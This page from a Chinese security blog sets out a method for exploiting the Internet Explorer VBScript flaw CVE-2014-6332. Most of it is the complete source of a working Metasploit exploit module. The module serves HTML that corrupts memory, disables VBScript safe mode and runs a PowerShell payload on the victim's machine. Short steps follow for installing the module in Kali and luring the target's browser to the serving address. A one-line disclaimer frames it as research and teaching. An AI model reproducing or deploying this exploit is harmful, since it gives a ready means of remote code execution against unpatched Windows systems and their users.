安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 网络安全 > 漏洞分享 > IE远程代码执行漏洞(CVE-2014-6332)利用测试方法

IE远程代码执行漏洞(CVE-2014-6332)利用测试方法

时间:2014-12-01来源: 作者:dalin点击:
Win95+IE3 – Win10+IE11全版本执行漏洞微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸。缺陷出现在VBScript的代码中,自Windows 95首次发布(19…
Win95+IE3–Win10+IE11全版本执行漏洞
//本文来自安云网

//本文来自安云网

微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸。缺陷出现在VBScript的代码中,自Windows95首次发布(19年前)以来就一直存在。详情点我

//本文来自安云网

MetasploitFramework下的利用测试 //内容来自AnYun.ORG

所有IE版本通杀,但是由于msf中自带的exp中调用的是powershell,所以msf(MetasploitFramework)中的exp代码只对安装powershell的系统生效。我们这里测试受害的机器为windows2008. //本文来自安云网

本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

//本文来自安云网

msf代码:
//内容来自安云网

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote   Rank = ExcellentRanking   include Msf::Exploit::Remote::HttpServer::HTML   include Msf::Exploit::Powershell   def initialize(info={})     super(update_info(info,       'Name'           => "Windows OLE Automation Array Remote Code Execution",       'Description'    => %q{           This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability.    Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.         },       'License'        => MSF_LICENSE,       'Author'         =>         [           'IBM', # Discovery   'yuange <twitter.com/yuange75>', # PoC   'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit           'Wesley Neelen <security[at]forsec.nl>'  #Metasploit         ],       'References'     =>         [           [ 'CVE', '2014-6332' ]         ],       'Payload'        =>         {           'BadChars'        => "\x00",         },       'DefaultOptions'  =>         {           'EXITFUNC'         => "none"         },       'Platform'       => 'win',       'Targets'        =>           [           [ 'Automatic', {} ]         ],       'Privileged'     => false,       'DisclosureDate' => "November 12 2014",       'DefaultTarget'  => 0))   end   def on_request_uri(cli, request) payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) payl.slice! "powershell.exe "      html = <<-EOS <!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function trigger()  On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1 end function </script> <SCRIPT LANGUAGE="VBScript"> dim   aa() dim   ab() dim   a0 dim   a1 dim   a2 dim   a3 dim   win9x dim   intVersion dim   rnda dim   funclass dim   myarray Begin() function Begin()   On Error Resume Next   info=Navigator.UserAgent   if(instr(info,"Win64")>0)   then      exit   function   end if   if (instr(info,"MSIE")>0)   then               intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))      else      exit   function                end if   win9x=0   BeginInit()   If Create()=True Then      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)      if(intVersion<4) then          document.write("<br> IE")          document.write(intVersion)          runshellcode()                          else             setnotsafemode()      end if   end if end function function BeginInit()    Randomize()    redim aa(5)    redim ab(5)    a0=13+17*rnd(6)    a3=7+3*rnd(5) end function function Create()   On Error Resume Next   dim i   Create=False   For i = 0 To 400     If Over()=True Then     '   document.write(i)             Create=True        Exit For     End If    Next end function sub testaa() end sub function mydata()     On Error Resume Next      i=testaa      i=null      redim  Preserve aa(a2)           ab(0)=0      aa(a1)=i      ab(0)=6.36598737437801E-314      aa(a1+2)=myarray      ab(2)=1.74088534731324E-310        mydata=aa(a1)      redim  Preserve aa(a0)   end function  function setnotsafemode()     On Error Resume Next     i=mydata()       i=readmemo(i+8)     i=readmemo(i+16)     j=readmemo(i+&h134)       for k=0 to &h60 step 4         j=readmemo(i+&h120+k)         if(j=14) then               j=0                         redim  Preserve aa(a2)                   aa(a1+2)(i+&h11c+k)=ab(4)               redim  Preserve aa(a0)        j=0                j=readmemo(i+&h120+k)                             Exit for            end if     next      ab(2)=1.69759663316747E-313     trigger()  end function function Over()     On Error Resume Next     dim type1,type2,type3     Over=False     a0=a0+a3     a1=a0+2     a2=a0+&h8000000        redim  Preserve aa(a0)      redim   ab(a0)             redim  Preserve aa(a2)        type1=1     ab(0)=1.123456789012345678901234567890     aa(a0)=10                If(IsObject(aa(a1-1)) = False) Then        if(intVersion<4) then            mem=cint(a0+1)*16                         j=vartype(aa(a1-1))            if((j=mem+4) or (j*8=mem+8)) then               if(vartype(aa(a1-1))<>0)  Then                      If(IsObject(aa(a1)) = False ) Then                                 type1=VarType(aa(a1))                  end if                              end if            else              redim  Preserve aa(a0)              exit  function            end if          else            if(vartype(aa(a1-1))<>0)  Then                   If(IsObject(aa(a1)) = False ) Then                   type1=VarType(aa(a1))               end if                            end if         end if     end if                         If(type1=&h2f66) Then                    Over=True           End If       If(type1=&hB9AD) Then           Over=True           win9x=1     End If       redim  Preserve aa(a0)                    end function function ReadMemo(add)      On Error Resume Next     redim  Preserve aa(a2)          ab(0)=0        aa(a1)=add+4          ab(0)=1.69759663316747E-313            ReadMemo=lenb(aa(a1))           ab(0)=0           redim  Preserve aa(a0) end function </script> </body> </html>     EOS     print_status("Sending html")     send_response(cli, html, {'Content-Type'=>'text/html'})   end end //本文来自安云网 代码导入MetasploitFramework
//内容来自AnYun.ORG

在kali系统中,把上面源码复制到下面文件中。 //内容来自AnYun.ORG

vim /usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_064_safemodedisable.rb //本文来自安云网

利用测试

//本文来自安云网

//内容来自安云网

在windows2008上用IE访问链接。 //内容来自AnYun.ORG

http://192.9.205.174/share

//内容来自安云网

//内容来自安云网

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容